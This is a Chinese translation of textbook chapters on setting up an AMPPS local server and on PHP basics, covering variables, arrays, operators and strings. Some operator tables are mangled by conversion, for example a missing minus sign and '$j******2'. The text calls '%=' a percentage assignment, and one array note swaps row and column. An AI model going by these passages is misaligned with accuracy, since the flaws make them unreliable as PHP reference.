接下来,您必须在下一个屏幕上接受协议并点击下一步,然后在阅读信息摘要后再次点击下一步,然后系统会询问您希望将 AMPPS 安装到哪个文件夹。

一旦您决定安装 AMPPS 的位置,请点击下一步,决定保存快捷方式的位置(通常默认即可),然后再次点击下一步选择您希望安装的图标,如图 2-3 所示。在接下来的屏幕上,点击“安装”按钮开始安装过程。

选择要安装的图标

图 2-3. 选择要安装的图标

安装过程将需要几分钟,之后您将看到图 2-4 中的完成屏幕,然后点击“完成”。

AMPPS 现在已安装

图 2-4. AMPPS 现在已安装

最后一件事是安装 Microsoft Visual C++ Redistributable,如果您尚未安装。一个窗口将弹出以提示您,如图 2-5 所示。点击“是”开始安装,或者如果您确定已经安装了它,则点击“否”。或者,您也可以无论如何继续,系统会告知您是否需要重新安装。

图 2-5. 如果尚未安装,请安装 Visual C++ Redistributable

如果您选择继续安装,您需要在弹出的窗口中同意条款和条件,然后点击安装。安装过程应该相当快速。点击关闭以完成。

安装完成后,您的桌面右下角将会显示图 2-6 中显示的控制窗口。如果您允许创建这些图标,您也可以通过“开始”菜单或桌面上的 AMPPS 应用程序快捷方式调出此窗口。

在继续之前,如果您有任何进一步的问题,我建议您熟悉AMPPS 文档,否则您已准备好开始了——控制窗口底部始终有一个支持链接,您可以通过它访问 AMPPS 网站,以便在需要时打开故障申请。

图 2-6. AMPPS 控制窗口
注意

您可能会注意到 AMPPS 中默认的 PHP 版本是 7.3。如果由于任何原因您希望尝试版本 5.6,请在 AMPPS 控制窗口内点击选项按钮(一个方形中的九个白色框),然后选择“更改 PHP 版本”,接着会弹出一个新菜单,您可以在其中选择 5.6 到 7.3 之间的版本。

安装测试

此时,首先要做的一件事是验证一切是否正常工作。为此,请在浏览器的地址栏中输入以下任何一个 URL:

localhost
127.0.0.1

这将调出一个介绍屏幕,在这里您将有机会通过给它设置密码来保护 AMPPS(参见图 2-7)。我建议您不要勾选复选框,只需点击提交按钮即可继续而不设置密码。

图 2-7. 初始安全设置屏幕

一旦完成这些步骤,您将被带到主控页面,位于localhost/ampps/(从现在开始,我假设您通过localhost而不是127.0.0.1访问 AMPPS)。从这里,您可以配置和控制 AMPPS 堆栈的所有方面,所以请记下这一点以备将来参考,或者在浏览器中设置书签。

接下来,键入以下内容以查看新 Apache Web 服务器的文档根目录(在以下部分描述):

localhost

这一次,您不会看到关于设置安全性的初始屏幕,而是应该看到类似于图 2-8 的内容。

图 2-8. 查看文档根目录

访问文档根目录(Windows)

文档根目录是包含域的主要 Web 文档的目录。当在浏览器中键入基本 URL 而没有路径时,例如http://yahoo.com或对于您的本地服务器是http://localhost,服务器将使用此目录。

默认情况下,AMPPS 将使用以下位置作为文档根目录:

C:\Program Files\Ampps\www

为确保配置正确,现在应创建“Hello World”文件。因此,请使用 Windows 记事本(或 Windows 上的Notepad++,或 Mac 上的Atom,或您选择的其他许多可用选项,但不要使用 Microsoft Word 等富文本编辑器)创建一个如下所示的小型 HTML 文件:

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>A quick test</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

输入完毕后,将文件保存到文档根目录,文件名为test.html。如果您使用的是记事本,请确保“另存为类型”框中的值已从文本文档 (.txt) 更改为所有文件 (.*)

您现在可以通过在浏览器地址栏中输入以下 URL 来调用此页面(参见图 2-9):

localhost/test.html

您的第一个网页

图 2-9. 您的第一个网页
注意

请记住,从文档根目录(或子文件夹)提供网页与从计算机文件系统加载网页到 Web 浏览器不同。前者将确保访问 PHP、MySQL 和 Web 服务器的所有功能,而后者仅将文件加载到浏览器中,并尽力显示它,但无法处理任何 PHP 或其他服务器指令。因此,您通常应该从浏览器的地址栏中使用localhost前缀来运行示例,除非您确信文件不依赖于 Web 服务器功能。

替代 WAMPs

当软件更新时,有时它的工作方式可能与您的预期不同,甚至可能会引入错误。因此,如果您在 AMPPS 中遇到无法解决的困难,您可能更喜欢选择网上其他可用的解决方案之一。

您仍然可以使用本书中的所有示例,但您需要按照每个 WAMP 附带的说明进行操作,这可能不像前面的指南那样易于理解。

这是我认为的一些最佳选择:

注意

在本书的整个版本周期内,AMPPS 的开发人员很可能会对软件进行改进,因此安装屏幕和使用方法可能会随时间而演变,Apache、PHP 或 MySQL 的版本也可能会更新。因此,请不要假设某些东西出了问题,如果屏幕和操作看起来不同,请跟随任何提示,并参考网站上的文档

在 macOS 上安装 AMPPS

AMPPS 也可在 macOS 上使用,并且您可以从网站下载它,如前所示在图 2-1 中(在我写作时,当前版本是 3.0,大小约为 270 MB)。

如果您的浏览器在下载完成后未自动打开,请双击.dmg文件,然后将AMPPS文件夹拖到应用程序文件夹中(参见图 2-10)。

将 AMPPS 文件夹拖到应用程序

图 2-10. 将 AMPPS 文件夹拖到应用程序

现在以通常的方式打开您的应用程序文件夹,然后双击 AMPPS 程序。如果您的安全设置阻止文件被打开,请按住 Control 键并单击一次图标。将弹出一个新窗口询问您是否确定要打开它。点击打开以继续。启动应用程序时,您可能需要输入 macOS 密码。

一旦 AMPPS 启动,类似于图 2-6 所示的控制窗口将出现在您桌面的左下角。

注意

您可能注意到 AMPPS 中的默认 PHP 版本是 7.3。如果出于任何原因您希望尝试 5.6 版本,请单击 AMPPS 控制窗口内的选项按钮(一个有九个白色方框的正方形),然后选择更改 PHP 版本,这时会出现一个新菜单,您可以在其中选择 5.6 至 7.3 之间的版本。

访问文档根目录(macOS)

默认情况下,AMPPS 将使用以下位置作为文档根目录:

/Applications/Ampps/www

为了确保您已正确配置一切,现在您应该创建强制性的“Hello World”文件。因此,请使用 TextEdit 程序或任何其他程序或文本编辑器创建以下类型的小型 HTML 文件,但不要使用像 Microsoft Word 这样的富文本处理器:

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>A quick test</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

输入完毕后,请使用文件名 test.html 将文件保存到文档根目录中。

您现在可以通过在地址栏中输入以下 URL 来在浏览器中打开此页面(以查看与 图 2-9 类似的结果):

localhost/test.html
注意

请记住,从文档根目录(或子文件夹)提供网页与从计算机文件系统加载网页到 Web 浏览器是不同的。前者确保访问 PHP、MySQL 和 Web 服务器的所有功能,而后者仅将文件加载到浏览器中,浏览器尽其所能显示它,但无法处理任何 PHP 或其他服务器指令。因此,通常应从浏览器地址栏中使用 localhost 前缀来运行示例,除非您确信该文件不依赖于 Web 服务器功能。

在 Linux 上安装 LAMP

本书主要面向 PC 和 Mac 用户,但其内容在 Linux 计算机上同样适用。不过,有数十种流行的 Linux 版本,每种版本可能需要以略有不同的方式安装 LAMP,因此我无法在本书中全部涵盖。但是,Linux 也有一种名为 AMPPS 的版本可供使用,可能是您最简单的选择。

尽管如此,一些 Linux 版本预装了 Web 服务器和 MySQL,您可能已经准备就绪。要确认,请在浏览器中输入以下内容,查看是否能获取默认的文档根网页:

localhost

如果此操作成功,您可能已安装 Apache 服务器,并且可能已经运行 MySQL;请向系统管理员确认。

但是,如果您尚未安装 Web 服务器,可以从网站下载 AMPPS 的版本。

安装步骤与前一节中显示的顺序类似。如果需要进一步了解如何使用软件,请参阅文档。

远程工作

如果您已经可以访问配置了 PHP 和 MySQL 的 Web 服务器,您可以随时用于 Web 开发。但是,除非您拥有高速连接,否则这可能并非您的最佳选项。在本地进行开发允许您测试修改,几乎没有上传延迟。

远程访问 MySQL 也许不是件容易的事情。您应该使用安全的 SSH 协议登录服务器,通过命令行手动创建数据库并设置权限。您的 Web 主机公司将为您提供最佳操作建议,并提供 MySQL 访问的任何密码(当然也包括首次登录服务器的密码)。我建议您永远不要使用不安全的 Telnet 协议远程登录任何服务器。

登录

我建议至少 Windows 用户应安装诸如 PuTTY 之类的程序进行 SSH 访问(请记住 SSH 比 Telnet 安全得多)。

在 Mac 上,你已经可以使用 SSH。只需选择应用程序文件夹,然后选择实用工具,然后启动终端。在终端窗口中,使用 SSH 登录服务器如下:

ssh *mylogin*@*server.com*

其中server.com是你希望登录的服务器名称,mylogin是你要使用的用户名。然后系统会提示你输入该用户名的正确密码,如果输入正确,你将登录成功。

使用 SFTP 或 FTPS

要在您的 Web 服务器上传输文件,通常需要 FTP、SFTP 或 FTPS 程序。虽然 FTP 不是安全协议,但仍然经常用软件上传和下载文件,称为 FTP,但确保 Web 服务器安全的是 FTPS 或 SFTP。如果你在网上寻找一个好的客户端,你会发现有很多选择,可能需要一段时间才能找到适合你的功能完备的程序。

不要使用 FTP

FTP 是不安全的,不应使用。有比 FTP 更安全的文件传输方法,如使用 Git 或类似技术。此外,基于 SSH 的 SFTP(安全文件传输协议)和 SCP(安全复制协议)也越来越受欢迎。好的 FTP 程序通常也支持 SFTP 和 FTPS(FTP-SSL)。文件传输方式通常取决于你所在公司的政策,但对于个人使用来说,如 FileZilla(下面讨论)这样的 FTP 程序将提供你所需的大部分(如果不是全部)功能和安全性。

我偏爱的 FTP/SFTP 程序是开源软件FileZilla,支持 Windows、Linux 和 macOS 10.5 或更新版本(参见图 2-11)。有关如何使用 FileZilla 的完整说明,请参阅wiki

FileZilla 是一个功能齐全的 FTP 程序

图 2-11. FileZilla 是一个功能齐全的 FTP 程序

当然,如果你已经有一个 FTPS 或 SFTP 程序,那就更好了——坚持你熟悉的工具。

使用代码编辑器

尽管纯文本编辑器可以用于编辑 HTML、PHP 和 JavaScript,但专用代码编辑器的改进显著,现在它们具备了非常实用的功能,如彩色语法突出显示。今天的程序编辑器很智能,甚至可以在你运行程序之前就显示语法错误的位置。一旦你使用了现代编辑器,你会想知道自己以前是怎么没有用它们的。

有很多优秀的程序可供选择,但我选择了微软的 Visual Studio Code(VSC),因为它功能强大,在 Windows、Mac 和 Linux 上都能运行,并且是免费的(参见图 2-12)。尽管每个人的编程风格和偏好不同,如果你对它不习惯,还有很多其他代码编辑器可供选择,或者你可能希望直接选择一个集成开发环境(IDE),正如下一节所述。

图 2-12. 程序编辑器(如 Visual Studio Code)优于纯文本编辑器

如你所见,通过图 2-12,VSC 适当地突出语法,使用颜色帮助澄清正在发生的事情。此外,你可以将光标放在括号或大括号旁边,它会突出显示匹配的括号,这样你可以检查是否有过多或过少。事实上,VSC 还有更多功能,随着你的使用,你会发现并享受它们。你可以从code.visualstudio.com下载副本。

如果你有其他喜欢的编辑器,可以使用它;使用你已经熟悉的程序是个好主意。

使用 IDE

尽管专用程序编辑器对你的编程生产力可能非常有用,但与集成开发环境相比,它们的效用显得微不足道。IDE 提供许多额外功能,如编辑器内调试和程序测试,以及函数描述等,尽管这些功能如今也在一些代码编辑器中慢慢加入,比如之前推荐的 VSC。图 2-13 展示了流行的 Eclipse IDE,主框架加载了一些 HTML(它还允许你使用 PHP、JavaScript 和其他文件类型)。

图 2-13. 使用 IDE 时,代码开发变得更快、更容易

在使用 IDE 进行开发时,你可以设置断点,然后运行所有(或部分)代码,它将在断点处停止,并为你提供关于程序当前状态的信息。

作为学习编程的辅助工具,本书中的示例可以直接输入到集成开发环境(IDE)中运行,无需打开网页浏览器。不同平台都有多种 IDE 可供选择。表 2-1 列出了一些最受欢迎的免费 PHP IDE 以及它们的下载 URL。

表 2-1. 免费 IDE 选择

IDE 下载链接 Windows macOS Linux
Eclipse PDT eclipse.org/downloads/packages
NetBeans www.netbeans.org
Visual Studio code.visualstudio.com

选择一个 IDE 可能是非常个人化的事情,所以如果你打算使用一个,我建议你先下载几个或更多来试用;它们都有试用版或免费使用,所以不会花费你任何费用。

现在花时间安装一个你熟悉的代码编辑器或 IDE,然后你将准备好在接下来的章节中尝试示例。

有了这些工具,现在你已经准备好继续进入《第三章》,我们将深入探讨 PHP,并了解如何使 HTML 和 PHP 协同工作,以及 PHP 语言本身的结构。但在继续之前,我建议你用以下问题来测试你的新知识。

问题

  1. 什么是 WAMP、MAMP 和 LAMP 之间的区别?

  2. IP 地址 127.0.0.1 和 URL http://localhost 有什么共同点?

  3. FTP 程序的目的是什么?

  4. 远程 Web 服务器的主要缺点是什么?

  5. 为什么使用程序编辑器而不是纯文本编辑器更好?

请参阅《第二章答案》在《附录 A》中查看这些问题的答案。

第三章:PHP 简介

在第一章中,我解释了 PHP 是您用来使服务器生成动态输出的语言——每次浏览器请求页面时,输出可能会有所不同。在这一章中,您将开始学习这种简单但功能强大的语言;接下来几章将深入探讨这个主题,直到第七章。

我鼓励您使用第二章中列出的 IDE 之一或良好的代码编辑器来开发您的 PHP 代码。

这些程序中的许多程序将允许您运行 PHP 代码并查看本章讨论的输出。我还将向您展示如何创建 PHP 代码,以便您可以看到 Web 页面中的输出(最终用户将如何看待它)。但是,在这个阶段,这一步骤虽然一开始可能会令人兴奋,但实际上并不重要。

在生产中,您的网页将是 PHP、HTML、JavaScript 和一些 MySQL 语句的组合,使用 CSS 布局。此外,每个页面都可以导向其他页面,以便用户通过链接点击和填写表单。尽管如此,在学习每种语言时,我们可以避开所有这些复杂性。现在专注于编写 PHP 代码,并确保您得到预期的输出,或者至少理解实际得到的输出!

将 PHP 嵌入 HTML 中

默认情况下,PHP 文档以扩展名.php结尾。当 Web 服务器在请求的文件中遇到此扩展名时,它会自动将其传递给 PHP 处理器。当然,Web 服务器高度可配置,一些 Web 开发者选择强制以.htm.html结尾的文件也由 PHP 处理,通常是因为他们想隐藏其对 PHP 的使用。

您的 PHP 程序负责传回一个干净的文件,适合在 Web 浏览器中显示。在最简单的情况下,一个 PHP 文档只会输出 HTML。为了证明这一点,您可以拿任何普通的 HTML 文档,并将其保存为 PHP 文档(例如,将index.html另存为index.php),它将与原始文档显示完全一致。

要触发 PHP 命令,您需要学习一个新的标签。这是第一部分:

<?php

您可能注意到的第一件事是标签没有关闭。这是因为整个 PHP 部分可以放置在此标签内,只有当遇到关闭部分时才会结束,其看起来像这样:

?>

一个小的 PHP“Hello World”程序可能看起来像示例 3-1。

示例 3-1. 调用 PHP
<?php
  echo "Hello world";
?>

使用此标签可以非常灵活。一些程序员在文档开头就打开标签,并在文档末尾关闭它,直接从 PHP 命令输出任何 HTML。然而,其他人选择仅在这些标签中插入 PHP 的最小可能片段,只在需要动态脚本时,将文档的其余部分保持为标准 HTML。

后一种类型的程序员通常认为,他们的编码风格会导致更快的代码,而前者则认为速度提升是如此微小,以至于不能证明在单个文档中多次进出 PHP 的额外复杂性。

随着你的学习深入,你肯定会发现自己偏好的 PHP 开发风格,但为了使本书中的示例更易于理解,我采用了尽量减少 PHP 和 HTML 之间转换次数的方法——通常在一个文档中只有一两次。

顺便说一句,PHP 语法还有一种轻微的变体。如果你在互联网上搜索 PHP 示例,你可能会遇到打开和关闭语法看起来像这样的代码:

<?
  echo "Hello world";
?>

尽管 PHP 解析器被调用的情况不太明显,但这是一种有效的替代语法,通常也可以工作。但我不鼓励使用,因为它与 XML 不兼容,现在已经被弃用(意味着不再推荐使用,并且未来版本可能会移除支持)。

注意

如果你的文件中只有 PHP 代码,可以省略结尾的 ?>。这是一个很好的做法,因为它可以确保你的 PHP 文件没有多余的空白字符泄漏(特别是在你编写面向对象的代码时尤为重要)。

本书的示例

为了节省你输入所有内容的时间,本书中的所有示例都已存储在 GitHub 上。你可以通过访问以下链接将存档下载到你的计算机中:GitHub

除了按章节和示例编号列出所有示例(如 example3-1.php),某些示例可能需要显式的文件名,此时示例的副本也将使用相同文件夹中的文件名保存(例如即将出现的 示例 3-4,应保存为 test1.php)。

PHP 的结构

在本节中,我们将涵盖相当广泛的内容。这并不太困难,但我建议你仔细阅读,因为这为本书中的所有其他内容奠定了基础。和往常一样,章节末尾有一些有用的问题,可以用来测试你学到了多少知识。

使用注释

有两种方式可以向你的 PHP 代码添加注释。第一种通过在前面加上一对斜杠将单行变为注释:

// This is a comment

这种版本的注释功能是暂时从一个给你错误的程序中移除一行代码的好方法。例如,你可以使用这样的注释隐藏一个调试代码行,直到你需要它,就像这样:

// echo "X equals $x";

你也可以直接在一行代码后使用这种类型的注释描述它的操作,就像这样:

$x += 10; // Increment $x by 10

当你需要使用多行时,有第二种类型的注释,看起来像 示例 3-2。

示例 3-2. 多行注释
<?php
/* This is a section
 of multiline comments
 which will not be
 interpreted */
?>

您可以使用/**/字符对来在代码的几乎任何位置打开和关闭注释。大多数程序员使用这种结构来暂时注释掉整个不起作用或由于某种原因他们不希望解释的代码部分。

警告

一个常见的错误是使用/**/来注释一个已包含使用这些字符的注释部分的大段代码。您不能以这种方式嵌套注释;PHP 解释器不会知道注释何时结束,并显示错误消息。但是,如果您使用具有语法高亮的编辑器或 IDE,这种错误更容易发现。

基本语法

PHP 是一种相当简单的语言,起源于 C 和 Perl(如果您曾经接触过这些语言),但它看起来更像 Java。它也非常灵活,但您需要学习关于其语法和结构的一些规则。

分号

您可能已经注意到在前面的示例中,PHP 命令以分号结尾,就像这样:

$x += 10;

在 PHP 中,您将遇到的最常见的错误之一是忘记分号。这会导致 PHP 将多个语句视为一个语句,PHP 无法理解,因此会生成一个Parse error消息。

$ 符号

$ 符号已经被许多不同的编程语言以多种方式使用。例如,在 BASIC 语言中,它被用来终止变量名称以表示它们是字符串。

然而,在 PHP 中,您必须在所有变量前面放置一个$。这是必需的,以使 PHP 解析器更快,因为它可以立即知道何时遇到变量。无论您的变量是数字、字符串还是数组,它们都应该看起来像示例 3-3 中的那些。

示例 3-3. 三种不同类型的变量赋值
<?php
  $mycounter = 1;
  $mystring  = "Hello";
  $myarray   = array("One", "Two", "Three");
?>

这实际上就是您必须记住的语法。与 Python 等严格要求缩进和布局的语言不同,PHP 完全自由,您可以随意使用或不使用缩进和空格。事实上,合理使用空白通常是鼓励的(以及全面注释),这有助于您在回顾代码时理解它。它还有助于其他程序员在维护代码时理解。

变量

有一个简单的比喻可以帮助您理解 PHP 变量的含义。只需将它们想象成小(或大)火柴盒!没错,就是您粉刷过并写上名称的火柴盒。

字符串变量

想象一下,您有一盒火柴上面写着用户名。然后,您在一张纸上写下Fred Smith并将其放入盒子中(参见图 3-1)。好吧,这与将字符串值分配给变量的过程相同,就像这样:

$username = "Fred Smith";

引号表明“Fred Smith”是一个由字符组成的字符串。你必须用引号或撇号(单引号)将每个字符串括起来,尽管这两种引号之间存在微妙的差异,稍后会进行解释。当你想看看盒子里面装了什么时,你打开它,拿出那张纸,然后阅读它。在 PHP 中,这样做看起来像这样(显示变量的内容):

echo $username;

或者您可以将其分配给另一个变量(复印纸张并将副本放入另一个火柴盒),如下所示:

$current_user = $username;

您可以将变量视为装有物品的火柴盒

图 3-1. 您可以将变量视为装有物品的火柴盒
示例 3-4. 你的第一个 PHP 程序
<?php // test1.php
  $username = "Fred Smith";
  echo $username;
  echo "<br>";
  $current_user = $username;
  echo $current_user;
?>

现在,您可以通过在浏览器地址栏中输入以下内容来调用它:

http://localhost/test1.php
注意

如果在安装网络服务器期间(详见第二章)不太可能发生,您将服务器分配的端口更改为 80 以外的任何数字,则必须将该端口号放在本书中的所有示例中的 URL 中,例如,如果将端口更改为 8080,则前述 URL 将变成如下所示:

http://localhost:8080/test1.php

我不会再提到这一点了,所以请记住在尝试示例或编写自己的代码时使用端口号(如果需要)。

运行此代码的结果应该是两次出现名称Fred Smith,第一次是echo $username命令的结果,第二次是echo $current_user命令的结果。

数值变量

变量不一定只能包含字符串,它们也可以包含数字。如果我们回到火柴盒类比,要在变量$count中存储数字 17,相当于在火柴盒里放入 17 颗珠子,并在盒子上写上单词count

$count = 17;

你也可以使用浮点数(包含小数点)。语法是一样的:

$count = 17.5;

要查看火柴盒的内容,只需打开它并计算珠子的数量。在 PHP 中,您可以将$count的值分配给另一个变量,或者可能只是将其回显到 Web 浏览器中。

数组

您可以将数组视为几个粘在一起的火柴盒。例如,假设我们要在名为$team的数组中存储一个五人足球队的球员姓名。为此,我们可以侧向粘合五个火柴盒,并在分别的纸片上写下所有球员的名字,将每个名字放入一个火柴盒中。

在整个火柴盒组件的顶部,我们将写下team(参见图 3-2)。在 PHP 中,这的等效物将是以下内容:

$team = array('Bill', 'Mary', 'Mike', 'Chris', 'Anne');

数组就像粘在一起的几个火柴盒

图 3-2. 数组就像粘在一起的几个火柴盒

此语法比您迄今看到的其他示例更复杂。数组构建代码包括以下结构:

array();

内部包含五个字符串。每个字符串用单引号或双引号括起来,并用逗号分隔。

如果我们想知道第四名玩家是谁,我们可以使用这个命令:

echo $team[3]; // Displays the name Chris

前述声明中的数字为 3 而不是 4 的原因是 PHP 数组的第一个元素实际上是零索引,因此玩家编号将从 0 到 4。

二维数组

数组还有更多用途。例如,它们不仅可以是单维线条的火柴盒,还可以是二维矩阵,甚至具有更多维度。

举例说明二维数组,比如我们想要跟踪井字棋游戏,这需要一个 3 × 3 的九个单元格的数据结构。要用火柴盒表示这个结构,想象九个火柴盒按照 3 行 3 列的矩阵排列在一起(见图 3-3)。

用火柴盒模拟的多维数组

图 3-3. 用火柴盒模拟的多维数组

现在,你可以在每个移动中正确的火柴盒上放置一个带有xo的纸条。要在 PHP 代码中实现这一点,你必须设置一个包含三个更多数组的数组,就像示例 3-5 中那样,其中数组已经设置了进行中的游戏。

示例 3-5. 定义一个二维数组
<?php
  $oxo = array(array('x', ' ', 'o'),
               array('o', 'o', 'x'),
               array('x', 'o', ' '));
?>

再次,我们在复杂性上迈出了一步,但是如果你掌握了基本的数组语法,这是很容易理解的。在外部array()结构中嵌套了三个array()结构。我们用一个字符填充了每一行的数组:xo或空格。(我们使用空格以便所有单元格在显示时宽度相同。)

要返回该数组中第二行的第三个元素,你可以使用以下 PHP 命令,它将显示一个x

echo $oxo[1][2];
注意

记住,数组索引(指向数组元素的指针)从零开始,而不是从一开始,所以前一个命令中的[1]指的是三个数组中的第二个,[2]则指的是该数组中的第三个位置。此命令将返回火柴盒中第三行第二列的内容。

正如前文所述,我们可以通过简单地在数组中创建更多数组来支持更多维度的数组。但是,在本书中我们不会涉及超过二维的数组。

如果你仍然难以掌握使用数组,不要担心,因为这个主题在第六章中有详细解释。

变量命名规则

在创建 PHP 变量时,必须遵循以下四条规则:

  • 变量名在美元符号后必须以字母或下划线字符开头。

  • 变量名只能包含字符azAZ09,和_(下划线)。

  • 变量名不得包含空格。如果变量名必须由多个词组成,一个好主意是用下划线 _(下划线)字符分隔单词(例如,$user_name)。

  • 变量名区分大小写。变量 $High_Score 与变量 $high_score 不同。

注意

为了允许包含带重音的扩展 ASCII 字符,PHP 还支持变量名中从 127 到 255 的字节。但除非你的代码只由习惯使用这些字符的程序员维护,否则最好避免使用它们,因为使用英文键盘的程序员将难以访问它们。

运算符

运算符 允许你指定执行的数学运算,比如加法、减法、乘法和除法。但还有其他类型的运算符,如字符串、比较和逻辑运算符。在 PHP 中数学运算看起来很像普通算术运算——例如,以下语句输出 8

echo 6 + 2;

在继续学习 PHP 能为你做什么之前,花点时间了解它提供的各种运算符。

算术运算符

算术运算符执行你所期望的操作——它们用于执行数学运算。你可以用它们进行四个主要运算(加、减、乘、除),以及找到模数(除法后的余数),并对值进行增加或减少(参见 表 3-1)。

表 3-1. 算术运算符

运算符 描述 示例
+ 加法 $j + 1
减法 $j 6
* 乘法 $j * 11
/ 除法 $j / 4
% 取模(除法后的余数) $j % 9
++ 递增 ++$j
-- 递减 --$j
** 指数(或幂) $j******2

赋值运算符

这些运算符将值赋给变量。它们从简单的 = 开始,然后是 +=-= 等等(参见 表 3-2)。运算符 += 将右侧的值加到左侧的变量上,而不是完全替换左侧的值。因此,如果 $count 初始值为 5,则语句:

$count += 1;

$count 设置为 6,就像更熟悉的赋值语句一样:

$count = $count + 1;

/=*= 运算符类似,但用于除法和乘法,.= 运算符将变量连接起来,使 $a .= "." 将句点附加到 $a 的末尾,而 %= 分配一个百分比值。

表 3-2. 赋值运算符

运算符 示例 等价于
= $j **`=`** 15 | $j = 15
+= $j **`+=`** 5 | $j = $j + 5
–= $j **`-=`** 3 | $j = $j – 3
*= $j **`*=`** 8 | $j = $j * 8
/= $j **`/=`** 16 | $j = $j / 16
.= $j **`.=`** $k $j = $j . $k
%= $j **`%=`** 4 | $j = $j % 4

比较运算符

比较运算符通常用于诸如 if 语句等结构中,需要比较两个项的情况下。例如,您可能希望知道一个您一直在递增的变量是否达到了特定值,或者另一个变量是否小于一个设定值等(参见 表 3-3)。

表 3-3. 比较运算符

运算符 描述 示例
== 等于 $j **==** 4
!= 不等于 $j **`!=`** 21
> 大于 $j **`>`** 3
< 小于 $j **`<`** 100
>= 大于或等于 $j **`>=`** 15
<= 小于或等于 $j **`<=`** 8
<> 不等于 $j **`<>`** 23
=== 全等于 $j **`===`** "987"
!== 不全等于 $j **`!==`** "1.2e3"

请注意 === 之间的差异。前者是赋值运算符,而后者是比较运算符。即使是高级程序员有时在编码时也可能混淆这两者,所以请小心。

逻辑运算符

如果你以前没有使用过逻辑运算符,刚开始可能会感到有些令人畏惧。但只需像在英语中运用逻辑一样思考即可。例如,你可能会对自己说,“如果现在时间晚于下午 12 点而早于下午 2 点,则吃午饭。”在 PHP 中,这段代码可能看起来像以下示例(使用军事时间):

if ($hour > 12 && $hour < 14) dolunch();

在这里,我们已经将去吃午饭的一系列指令移到一个稍后需要创建的名为 dolunch 的函数中。

如前面的示例所示,通常使用逻辑运算符来组合前一节中显示的比较运算符的结果。逻辑运算符也可以输入到另一个逻辑运算符中:“如果现在时间晚于下午 12 点且早于下午 2 点,或者如果烤肉的香味弥漫在走廊上并且桌子上有盘子。”通常情况下,如果某物具有 TRUEFALSE 值,它可以输入到一个逻辑运算符中。逻辑运算符需要两个真值或假值输入,并生成一个真值或假值结果。

表 3-4 显示了逻辑运算符。

表 3-4. 逻辑运算符

运算符 描述 示例
&& $j == 3 **&&** $k == 2
and 低优先级的 and $j == 3 **and** $k == 2
&#124;&#124; $j < 5 **&#124;&#124;** $j > 10
or 低优先级的 or $j < 5 **or** $j > 10
! ! ($j **==** $k)
xor 异或 $j **xor** $k

注意 && 通常可以和 and 互换;同样,||or 也是如此。然而,因为 andor 的优先级较低,除非它们是唯一的选项,否则应避免使用它们,就像以下语句一样,这个语句必须使用 or 操作符(如果第一个失败,|| 不能用来强制执行第二个语句):

$html = file_get_contents($site) `or` die("Cannot download from $site");

这些运算符中最不寻常的是 xor,它代表排他或,如果任一值为 TRUE,则返回 TRUE 值,但如果两个输入都为 TRUE 或都为 FALSE,则返回 FALSE 值。为了理解这一点,想象一下你想要自己调配家庭用品的清洁剂。氨水和漂白剂都是良好的清洁剂,所以你希望你的清洁剂有其中之一。但是清洁剂不能同时有两种,因为这种组合是危险的。在 PHP 中,你可以这样表示:

$ingredient = $ammonia xor $bleach;

在这个例子中,如果 $ammonia$bleach 的任一值为 TRUE$ingredient 也将被设置为 TRUE。但是如果两者都为 TRUE 或都为 FALSE$ingredient 将被设置为 FALSE

变量赋值

将值分配给变量的语法始终为 variable = value。或者,要将值重新分配给另一个变量,则为 other_variable = variable

还有一些其他的赋值运算符可能会对你有用。例如,我们已经看到了这个:

$x += 10;

这告诉 PHP 解析器将右侧的值(在本例中为值 10)添加到变量 $x 中。同样,我们可以进行减法如下:

$y –= 10;

变量递增和递减

增加或减去 1 是一种常见的操作,PHP 提供了特殊的运算符来实现。你可以使用以下之一来代替 +=-= 运算符:

++$x;
--$y;

与测试(if 语句)结合使用的语法如下:

if (++$x == 10) echo $x;

这告诉 PHP 首先 递增 $x 的值,然后测试它是否为 10,如果是,则输出其值。但是你也可以要求 PHP 在测试值之后(或者,如下例中,递减)递增变量的值,就像这样:

if ($y-- == 0) echo $y;

这给出了一个略有不同的结果。假设 $y 在执行该语句之前初始值为 0。比较将返回一个 TRUE 结果,但是在进行比较后,$y 将被设置为 -1。那么 echo 语句会显示 0 还是 -1?试着猜一下,然后在 PHP 处理器中尝试这个语句以确认。因为这些语句的组合很令人困惑,应该只作为教育例子而不是良好编程风格的指南。

简而言之,如果运算符放在变量之前,则变量在测试之前被递增或递减,而如果运算符放在变量之后,则变量在测试之后被递增或递减。

顺便说一句,前面问题的正确答案是 echo 语句将显示结果 –1,因为 $yif 语句中被访问后立即递减,然后在 echo 语句之前。

字符串连接

连接 是一个有些古怪的术语,用于将某物放在另一物后面。因此,字符串连接使用句点(.)将一个字符串附加到另一个字符串。这样做的最简单方法如下:

echo "You have " . $msgs . " messages.";

假设变量 $msgs 被设置为值 5,那么这行代码的输出将是:

You have 5 messages.

就像你可以使用 += 运算符向数字变量添加值一样,你可以使用 .= 将一个字符串附加到另一个字符串上,像这样:

$bulletin .= $newsflash;

在这种情况下,如果 $bulletin 包含新闻公告,而 $newsflash 包含新闻快讯,这条命令将新闻快讯附加到新闻公告中,使得 $bulletin 现在包含了两个文本字符串。

字符串类型

PHP 支持两种类型的字符串,根据你使用的引号类型来表示。如果你希望赋值一个字面字符串,保留其确切内容,你应该使用单引号(撇号),像这样:

$info = 'Preface variables with a $ like this: $variable';

在这种情况下,单引号字符串中的每个字符都被赋值给 $info。如果你使用了双引号,PHP 将尝试将 $variable 解析为一个变量。

另一方面,当你想在字符串中包含变量的值时,你可以使用双引号字符串:

echo "This week $count people have viewed your profile";

正如你将会意识到的,这种语法还提供了一个更简单的选项,用于连接字符串而无需使用句点或关闭和重新打开引号来附加一个字符串到另一个字符串上。这称为 变量替换,一些程序员广泛使用它,而其他人则根本不使用它。

转义字符

有时字符串需要包含具有特殊含义的字符,这些字符可能会被错误地解释。例如,以下代码行将无法工作,因为在 spelling’s 中遇到的第二个引号告诉 PHP 解析器字符串已经结束。因此,剩余的部分将被拒绝作为错误:

$text = 'My spelling's atroshus'; // Erroneous syntax

要纠正这个问题,你可以直接在有问题的引号前加上反斜杠,告诉 PHP 将该字符视为字面量,而不解释它:

$text = 'My spelling\'s still atroshus';

你可以在 PHP 几乎所有可能导致解释字符错误的情况下使用这个技巧。例如,以下双引号字符串将被正确赋值:

$text = "She wrote upon it, \"Return to sender\".";

